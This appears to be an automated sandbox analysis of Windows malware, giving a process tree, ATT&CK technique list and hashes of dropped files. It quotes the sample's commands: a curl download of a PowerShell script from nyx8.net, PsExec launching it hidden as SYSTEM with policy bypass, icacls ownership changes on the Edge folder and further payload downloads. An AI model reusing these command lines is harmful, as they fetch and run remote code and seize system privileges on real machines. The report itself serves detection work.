      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES655C.tmp" "c:\Users\Admin\AppData\Local\Temp\0itkhqny\CSC89CA1B29A0C9416AABEB693A4A3C84E.TMP"
      4⤵
      PID:980
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://nyx8.net/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:4156
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4696

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\kwseteqk\kwseteqk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:720
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES6F30.tmp" "c:\Windows\Temp\kwseteqk\CSC72F4352F3C944BBCA2C7FBC3ADD723C6.TMP"
      4⤵
      PID:4664
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    - Modifies data under HKEY_USERS
    PID:3272
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:3984
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1016
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2652
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3472
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3992
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3956
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:4724
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:4104
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:3100
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:960
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:1368
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:4668
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:1956
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:3204
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:1184
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:4432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2444

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2172

C:\Windows\system32\wscript.exe
wscript.exe "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0itkhqny.dll

Path C:\Users\Admin\AppData\Local\Temp\0itkhqny\0itkhqny.dll
Size 3KB
SHA256 39be5463b1b5dc1353df82d70f4353873961459ac45c956ccd26e2f0fbe6efc5
MD5 18ed5feebee684a3d8ae7728550632a2
SHA1 e36a739b920653bb6e72324178f3cf18c922bf68
SHA512 422eb41792a0dba8721a88d8fce4e260720c68ca67dadc1154944fbe92ae3f6921bae87445329ba279df670aa954b7f3ba049f8f51e52c2860f7616c180b5e63
TLSH
T13F71CD1A93E4462BE4FB0734AEF3471327B4FC509FB3976E1D9102196CA12645972BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES3A83.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3A83.tmp
Size 1KB
SHA256 513b01bae650b46cbcd83ac5da96af71333b21751d4125c4176c5fa14551daba
MD5 277144a678dcb57b2dfe5d852e4f9f57
SHA1 279f157ab1b7eff3a96773bb973deaabfaf42b98
SHA512 c7136bdfc0659479590f26b5852c5aa060c28999906c29fa236dfd012e06a4b05a8662be2dcf298c3fce3f7994df22115f6e9f1fcfe22cdc7fe5e0d0392b1d70
TLSH
T18821EF0583E9471EF073573269F6076FA274FE64EFA5536B8540422C2C41508EEB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES3B4F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3B4F.tmp
Size 1KB
SHA256 a32316cd9e94c328b573b2ea75ca23280c91e371fd2b7ea0f15302eff9b42b54
MD5 ef903e10f19a9b4e0357c18f276f0082
SHA1 9be1874e501c82e3b340a7c05ffbdb38c3e0eb36
SHA512 15fb83ca991e1a1660ffde352682555a012a91f5c8f2bbc2bdcdd15748586e7ffda67a0e55dde4053912b7bf35b1c00a72fe7d77a5913983bf1112fdd5591cb7
TLSH
T1F521660583E9471BF07747326EFA572BA239FD54EFA2575A854042282C42608EFA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES3BDB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3BDB.tmp
Size 1KB
SHA256 c9e1f5f3262c306dbfa378f0eef21fdfcc0dc2105efabbbdc022bef2edf61a8d
MD5 3e01c5eca5d7b2f710e2d63cc76fa126
SHA1 d0faa2063c96c871dd9e34365a464becd1481312
SHA512 0a7aaada96d02071c6f13d3b2dfadd58fe1a90fa6f7edb1cca95ff02653599f7aad1a7933d349ecf91f5fe6d36472b3dfda5fd731e2eb95d49bde2424ec8421e
TLSH
T1E221C90583ED470AF073573269F91B6BE239FD54AFA2579B894042282C81504EFA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RES655C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES655C.tmp
Size 1KB
SHA256 dbc03eceabb11d60860092316089f2f5bb6ef55d598758b630e85cbd06748521
MD5 dd63d507442b35b97afa62eb438fce6c
SHA1 e789ca6046ee3b701846170eab0074fcac0abb3b
SHA512 3da683a3d11336112aae4b4bfd3544072d52f17e5f96706fd3b3d4860893103ae27866ad2b54e5b6161de68721327ef24813c38fa55a13b4ecddce10c343a6aa
TLSH
T169217B0593E8471FF0B35B3169FA171BA638FD65EFA2939B944052283C51204EEB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zn2eshzy.q0v.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zn2eshzy.q0v.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

bbnvmwcz.dll

Path C:\Users\Admin\AppData\Local\Temp\bbnvmwcz\bbnvmwcz.dll
Size 3KB
SHA256 492e0af3c5be3a98bce58256bb333877a021bd424c586b658296e7b01af31e3e
MD5 5909664045c4d5165b86c8ed37b82159
SHA1 7723255e19771decbce239baebd43449f4b0446e
SHA512 dbc1e51ad029d4e61a897d99f4a765e7e3a42eb15a710b851c89ee62390ff27ef90698fccb122cbea10a673f42d1c09272748f572336fd106e2419fe916c9d60
TLSH
T12151DB2AA3E8062BF0B747346EF307172BB8F8509B72975E48C042196C617545D32BB1
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 19B
SHA256 d90c4bd3352c37402f36a4db0bc82c7a3c194660a1c29956ca2e7f3c3f842eda
MD5 ef1af41a40b8405463afabcfe316be21
SHA1 7f2f66eef7105730a49124f2664f734e522b8ecd
SHA512 8b6612cd0a7a1c7f73e4c69ecb72b9259bf8d7853d5a864b8f85ca703d59fa18905ba336e0c893b6844ba2ef1172634c4e7715113cfb4138186121feae141827
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pID

Path C:\Users\Admin\AppData\Local\Temp\build\pID
Size 14B
SHA256 2965038874c7893d2fb1e2ad47f19bafeeb5c753c858cf9a1670a94d9109cc50
MD5 c2dc91e4bae45d9c34a9c6524dec9646
SHA1 6f93d1bfc7db6c0e02433369a59d6296e03bb832
SHA512 3632ea83926345c3b979ac964a33691d97b1aa20c6d2cef09940e7956dff75487c65bdb5f18a3a6ef95f80c369217c3c465563db19b14c9010475915b4b3d535
MD5 SHA1 SHA512

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
MD5 079591b177f57dd00fd4efaa6868b2a2
SHA1 7d7b7a4d70e3c99653d3dcd04fd521bf422c8904
SHA512 28d81b7fb42b767d51514f4418ba6dae615a440288e8e15f9b9ec6b912c9b5c3452e6f68848774d79bea63b9ed1cd1dd7a83b229e7fdb419d18d205af21c79b1
SSDEEP 384:d1tTknM+8o9Fe/G9h2Xf3d4oog6Xc0JfWKZQ232i6PCPqTPrPfJP73PQDPjP+:d34M+8Aeu9h6P6fhWXu6qejJbs72
TLSH
T141929E57BE418EB8C78D221860DC88DA07AC47FE40117989636AB944FB82CDFE5FB035
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

llubc5mx.dll

Path C:\Users\Admin\AppData\Local\Temp\llubc5mx\llubc5mx.dll
Size 3KB
SHA256 2a4014315109db48619d32aaf17ee8516e83548333b384b269f3d5c97efd46df
MD5 afd47410c51efe74e7b4499cb0dd9ff3
SHA1 ed1845d750430068684c9eec5754c3329c062859
SHA512 a065335562c1e84d612c746b76c93f30565a875a8d5a5d74a3b4378b5e42f0461e8e9817d7395785c6e3efe14e32574203d90587881206dcf8998fc0b697eb91
TLSH
T1CB51B91A53EC066BE8B747356EE303173BB5FC509B72936D19C04269AC61B586E32FB0
MD5 SHA1 SHA512 TLSH

Submit Download

nfcsgj2n.dll

Path C:\Users\Admin\AppData\Local\Temp\nfcsgj2n\nfcsgj2n.dll
Size 3KB
SHA256 0d4b54fd047319f86d329f65e04de847e99a5a35547a3dba57c74f73d1f42b7a
MD5 7d02d781d1bf0bdc3b840a5f4bc46bc8
SHA1 3f69aecb787f11e0861920fc58c0f43b6c4b3acb
SHA512 5c8f03418aebbdc0297a6f5d63373308fa73662330272e2699c620b913c8f2de6e8c956a76d9aa00ada2e8f3f82b7db210338d77eecd4ed6490c80cbaba801a3
TLSH
T16C71E01A53E4462BF8BB47349EF3475227A4FC608FB7476E0D8002196CA02649D71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

teenSnapchatdihhfrombe.mp4.lnk

Path C:\Users\Admin\AppData\Local\Temp\PACK8\teenSnapchatdihhfrombe.mp4.lnk
Size 1KB
SHA256 769d30daf4653e622786ba31da8d462a25f85bd84acee1dd052df65cdc9a855e
MD5 c8042d99bc4e276db73cb9d4db98c6a3
SHA1 07a011826dd1099ea1b91dc6121069f4c7547ede
SHA512 4f4eab4edd1169ca10a2675de775b0fd64e564dd71df946c950a58b1b3331bef4c00fb1f28097fb478ea34ecdbc092d3e147cd99f6a51680148b7fe965796a71
TLSH
T1B5217A1426991F14D3F34A3BC8AA53224A377D1AFA73CF2D029082CC2C59201EC26F2E
MD5 SHA1 SHA512 TLSH

Submit Download

PSEXEC-RYSBVXZE-AAD70905.key

Path C:\Windows\PSEXEC-RYSBVXZE-AAD70905.key
Size 16B
SHA256 838138d0e92a87940fc8ce5f7341728e038fe98d8b726ad1a472515a9214e892
MD5 852fc7c97d0117e7fa7c90546f90a63f
SHA1 016df35208a1b9a54c534f01e0dfcd443b94fe9b
SHA512 a3d08aef5fd8251a16273d6686a6902b51994b2e38ab6a306794c35dbbbf559779d23c8671b2b410ac5fdfdedfcb629bdc914a15d8b5fb715b38fe25f4c23d43
MD5 SHA1 SHA512

Submit Download

PSEXESVC.exe

Path C:\Windows\PSEXESVC.exe
Size 189KB
SHA256 cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
MD5 44118d8fb41634b3d8d8b1c6fdf9c421
SHA1 2c27a865b3ab1f0bd2ea1e8f7298b5ef9348c5ac
SHA512 ab62931669555dc1daf63f73f4d57a6d9bfc94dc087d859f7719648bad48d1626f9760f1b8cd7f76340943d8d69df1734bb657ca2b83855686792182809b07b4
SSDEEP 3072:iR+zpegrEiHunfFqNmIWhn01GGXqw7Wnh5rebFHh9aohhx0dUFyMLooZ3/3yqp/5:o+zpegrEiHuf+mZhn01N7Wnh5rebL9/9
TLSH
T1A2143921B2D08072E5F72A7019F4A6729A3EBD705F34D99F6794066E5E30BC1CA34B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES6F30.tmp

Path C:\Windows\TEMP\RES6F30.tmp
Size 1KB
SHA256 7dc56ab741f00dd6e0eb4ee2142c93ce3b4a705551dd857175ad39dd22aaef43
MD5 c22943afed29b3e92c7c3ea1220a62b6
SHA1 eee63503ef1954f771030632a45ef9b3dce175d3
SHA512 fb4f468f9dc0d4104aaddfbfb52e9e8f571bffacd4bf04e860d1cf974adbe9338c78dc742da5d6308101e5017b9f23351d4cf5b3c81f9d69c15834cf162947a9
TLSH
T14C21384593F8475AF0734B30A8FA13275228FE65DFB293AF844412692C50650DE70FF1
MD5 SHA1 SHA512 TLSH

Submit Download

kwseteqk.dll

Path C:\Windows\TEMP\kwseteqk\kwseteqk.dll
Size 3KB
SHA256 d5934e774fab146c174156465f75160370d5eff8546e18f438f7fd1b256bade5
MD5 aaf4424c534341beb887519f4a14dffa
SHA1 5dd61e21cd8b42ac63dfc6eb556b5b8201bf2df9
SHA512 6fb216df043d15ab6264e3de6abcae79e796142c9df0a2fd4dc33c5c6b49d34c737a27f19e42d9176f5e42143245631556bae19f8d8ef881e8c6a442712ebe32
TLSH
T1F071F11A53E44A2BE8BB4B34AEF3471727B0F8508F73976E0D8002596CA02645D71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 422a1847a0f647fc75e67388275a01dfbef80f72b6d20a8c41f3aaa7e37167b0
MD5 e37155ea598385abce7704b848c49005
SHA1 a5fe6779d1669971f3d6b71101c2f8778d0b6127
SHA512 dd00e5509ce3080b1bf790736a34768706398cb91bb42b1442d99adb28ded4b248af87349883d31d9aa85fdd5d348a217ef88747c1c1045a7c80cb25340a9a1a
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq6fm0RIzoZcBPtiNLhDAyRLcxZpow:iqdYqGAjdx4qKkq3qktznEuZq6XIzoZC
TLSH
T181B110313371F4D5CC663B021A2C19D0A3AF4387EA58AF48B25C621EED2655BDB112F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd
MD5 ac3bf9756600f6c31a15240716e6e7c6
SHA1 521aa76b55f74cafd1b579933dc0fae439acb0f5
SHA512 96ae0dddaeadae05fed313707076af5d443d328d2ea8524aa283812591b615b596a0aab1d2918471aba59f5546cebca7521bd2003db63a24f548899bee5fa67a
TLSH
T1BA21A837B3DCC921CC86163A009D9C1072B683C7819EDF9F6FC0D604A07F988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

0itkhqny.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\0itkhqny\0itkhqny.cmdline
Size 369B
SHA256 25ff6b2121aff4eefa61b1295798ec3ce12f13235a02cc071e8d203cced52d3b
MD5 73fcb9309de4d334aa964968fa97e98a
SHA1 a73198bb0dc5700c10498ab74af974d5f6bd0e37
SHA512 3ad8622065e991c82fdb59e627eb1682364492394f1ce96cf1970656367c0abe0ea4b6ea301389028cffa2768877b04306ab2a6c51d6884d8e463ff41085fad4
TLSH
T184E06F3E8246C2BD01E9220B2A7AC8AE83720E8329C03F889044840DE0270A0ABD3782
MD5 SHA1 SHA512 TLSH

Submit Download

CSC89CA1B29A0C9416AABEB693A4A3C84E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\0itkhqny\CSC89CA1B29A0C9416AABEB693A4A3C84E.TMP
Size 652B
SHA256 282f667406b2d606b9bbbc94191354d95724d6da368c2eb53d7a2a8ad17682dd
MD5 11de11fec0d3f7cce49e4219c055908d
SHA1 7dc326281b0c6fd706e5c8ec774f5e4ad6ff0a7c
SHA512 867774ba04ee3f9c31961e9e6938236b143a6b1a42c7baaacb59b3187cbfff55f47a557f4ee7c11652fbee2192add75965be432ff12b98fc091d754b69b83162
TLSH
T159F0820A63F8420EF0F34B30BDF6436395A8BC64DE3293ED2840131D2C646108972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA761502766A641D7A86ADFA8113EC14.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\bbnvmwcz\CSCA761502766A641D7A86ADFA8113EC14.TMP
Size 652B
SHA256 676045706d49e54a5878d2f2667d192cf10d2da35a7f4660e0085044d2a2eff4
MD5 bd1a8f7cccb56a4ae2f90ed0a907d6e0
SHA1 0ffdd14edd0382f0597e74f6c85a55fd08fc9917
SHA512 0aa9992643b5b2502130978ad48951f0f2b3f7b4d36e0da43449139d9ba5186f96aa165b5235697cdda13737b120346718d285298be1e0e40f20dcc656706ad1
TLSH
T17EF0540A63F8020EF0F34B30BDF543A3957CBC64EE3253ED1840031928645108A62F72
MD5 SHA1 SHA512 TLSH

Submit Download

bbnvmwcz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\bbnvmwcz\bbnvmwcz.0.cs
